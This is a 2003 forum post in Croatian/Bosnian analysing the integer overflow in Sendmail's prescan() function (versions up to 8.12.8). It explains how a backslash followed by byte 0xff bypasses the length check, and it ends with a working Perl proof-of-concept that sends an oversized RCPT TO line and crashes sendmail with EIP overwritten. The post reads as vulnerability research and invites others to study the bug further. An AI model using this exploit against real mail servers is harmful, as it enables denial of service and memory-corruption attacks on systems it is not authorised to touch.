[ DownBload @ 31.05.2003. 20:16 ] @
Sendmail <= 8.12.8 integer overflow
===========================
by DownBload / II-Labs
[email protected]
www.kamikaza.org


Integer overflow u Sendmailu <= 8.12.8 je otkrio Michal Zalewski a.k.a lcamtuf.
Sama ranjivost je u sendmail/parseaddr.c fajlu, prescan() funkcija, koja
sluzi za provjeru i formatiranje mail adrese.
Fora je u tome sto u advisoryu pise remote code execution, sto ja nikako
ne uspijem izvesti. Uspijem prepisati eip sa \ znakovima, te tako srusiti
sendmail, ali da ga stvarno exploitam - nikako.

Da bi bolje shvatili o cemu se radi, evo pojednostavljeni prikaz prescan()
funkcije (samo najbitnije stvari su stavljene, jer je funkcija velika).

---pojednostavljena-funkcija---

#define NOCHAR -1

char **prescan (char *addr, char pvpbuf[], int pvpbufsize)
{
char *p = addr; // addr je adresa koja se procesira
char *q = pvpbuf; // po pvpbuf varijabli pisemo procesiranu adresu
int c = NOCHAR; // c - sadrzi znak koji citamo iz addr i pisemo u pvpbuf
bool bslashmode = false; // oznacava dal' smo u bslash. modu

do {
for (;;)
{
if (c != NOCHAR && !bslashmode) // ako c nije NOCHAR i bslash. nije true
{
if (q >= &pvpbuf[pvpbufsize-5]) // ako je q veci od velicine pvpbufa
{
usererr ("Address too long"); // adresa je preduga
return NULL; // izadji van iz funkcije
}
*q++ = c; // pisi po pvpbuf[] varijabli
}
c = *p++; // citanje novog znaka
if (bslashmode) // ako je bslashmode == true
{
bslashmode = false;
if (c != '!') {
*q++ = '\\'; // pisi po pvpbuf[] varijabli
continue; // sljedeca iteracija petlje
}
}
if (c == '\\') // ako je c == \ , postavi bslashmode u true
bslashmode = true;

if (c == NOCHAR) // ako je c == -1, sljedeca iteracija petlje
continue;
}

} while (c != '\0' ....)
}
---pojednostavljena-funkcija---

Prvo se provjerava dal' je varijabla c razlicita od NOCHAR-a i dal' je
bslashmode == false. Ukoliko je tvrdnja istinita, to znaci da je varijabla c
obican znak, te se taj znak pise (preko pointera q) u pvpbuf[].
Prije zapisivanja znaka u pvpbuf[], vrsi se provjera dal' pointer q pokazuje
na adresu vecu od &pvpbuf + pvpbufsize (odnosno, dal je pointer dosao do kraja
pvpbuf varijable). Ako je q veci od pvpbufsize-a, ispisuje se error da je
mail adresa preduga i slijedi return NULL;
Nakon toga citamo novi znak iz addr varijable.
Slijedi provjera bslashmode varijable, pa ako je postavljena na true i c !='!',
sadrzaj c varijable se pise u pvpbuf[], pa sljedeca iteracija petlje.
Nakon toga vrsi se provjera dal je c=='\', pa ako je, bslashmode se postavlja
u true.
Na kraju se ispituje dal je c == NOCHAR, pa ako je, slijedi nova iteracija
petlje, cita se novi znak sa addr itd..

(NAPOMENA*) Mail adresa moze imati max. 255 znakova, pa pisemo stringove po
255 znakova.
(NAPOMENA2*) pvpbuf je velik 1256 bajtova.

lcamtuf:
--------
Imamo specijalnu varijablu NOCHAR (-1) koja oznacava neka specijalna stanja.
Problem je u ulaznoj varijabli koja je signed char, pa ce ASCII 0xff
((char)-1) biti konvertirano u 0xffffffff ((int)-1) kad se pridruzi varijabli c.
Tako napadac moze lazirati NOCHAR varijablu i izbjeci provjeru duzine.
--------


Exploitanje:
------------
Da dodjemo do kraja pvpbuf[] varijable, potrebno je poslati sendmailu
4 stringa duzine 255 bajtova i 1 string duzine 200 bajtova. Stringovi
moraju biti medjusobno odijeljenji ; znakom.
Sad kad smo na kraju pvpbuf[] varijable, moramo otkriti kako prepisati eip.
Znaci, eip moramo necim prepisati, a moramo izbjeci provjeru dal je pointer
na pvpbuf (q) veci od velicine pvpbufa.
Ukoliko postavimo bslashmode (c = '\'), a sljedeci znak bude 0xff ((char)-1),
izbjegavamo provjeru polozaja q pointera. Bslashmode je postavljen, pa se
po pvpbuf[] varijabli pise znak \. Ako to ponovimo nekoliko puta, dolazi do
buffer overflowa i eip je prepisan sa \ znakovima.


Hmmm...
-------
Prilikom proucavanja tog buga u sendmailu, trebalo mi je 2 sata da skuzim sta i kako
se moze napraviti. Procitajte ovaj tekstic nekoliko puta, te pogledajte parseaddr.c,
pa mozda nesto skuzite. Ukoliko zelite provjeriti dal bug radi, na kraju je
prilozen exploit. Pokrenite exploit, te se gdb-om attachajte na sendmail child
proces. Zato sam u program stavio sleep(15).
Proces (sendmail) bi trebao puknuti sa 5c5c5c5c in eip.

exploit:
--------cut--------
#!/usr/bin/perl
use IO::Socket;

$NOP = "A";
$ff = "\xff";
$port = 25;
$host = "localhost";

sub do ()
{
$buffer = <$sock>;
print $buffer,"\n";
}

$sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port,
Proto => "tcp")
|| die "ERROR: Can't connect to $host!!!\n\n";

&do();
print $sock "HELO localhost\r\n";
sleep(15); # attachanje na sendmail child sa gdb-om
&do();
print $sock "MAIL FROM: <root\@localhost>\r\n";
&do();
$sploit = "RCPT TO: " . $NOP x 255 . ";" . $NOP x 255 . ";" . $NOP x 255 .";" . $NOP x 255 . ";" . $NOP x 200 . ";";
$sploit .= "\\$ff" x 500;
print $sock $sploit,"\r\n";
print $sploit;
&do();
---------cut---------


Cilj
----
Cilj ovog teksta je bio da zainteresiram nekoga u istrazivanje tog buga, pa da mi
taj netko moze sa 100% sigurnoscu reci da je bug stvarno exploitabilan, odnosno
da li se moze po eip-u pisati nesto osim \.
Ispricavam se zbog stila pisanja, al ovaj tekst je samo tako da je, a napisao
sam ga isfustriran svojom nesposobnoscu.